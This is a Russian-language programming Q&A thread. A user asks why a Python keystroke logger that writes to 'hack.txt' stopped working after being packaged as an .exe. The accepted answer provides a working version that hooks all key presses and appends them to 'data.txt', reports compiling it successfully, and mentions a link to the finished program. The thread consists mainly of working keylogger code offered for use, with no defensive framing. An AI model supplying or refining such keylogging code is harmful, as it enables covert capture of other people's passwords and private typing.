Fox7777
@Fox7777
Люблю python

Перевёл в .exe перестал работать, почему?

import keyboard


def print_pressed_keys(e):
    save = open('hack.txt', 'a')
    save.write(str(e) + ' ' + str(e.name)+"\n")


keyboard.hook(print_pressed_keys)
keyboard.wait()

Делал всё по этому ролику: https://www.youtube.com/watch?v=CgCJwDjm_Cw
В итоге он перестал в файл писать данные, помогите решить проблему и автоматический создавать файл!
  • Вопрос задан
  • 111 просмотров
Решения вопроса 1
sanya84
@sanya84
Фанатик Python 3
Я собрал EXE-ник, нормально работает.

from time import sleep
import keyboard


def print_pressed_keys(event):
    with open('data.txt', 'a') as file:
        file.write(f"{event} {event.name}\n")

try:
    keyboard.hook(print_pressed_keys)
    keyboard.wait()
except KeyboardInterrupt:
    print('\nПрограмма остановленна пользователем!')
    sleep(1.5)


Ссылка на рабочюю программу
Ответ написан
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы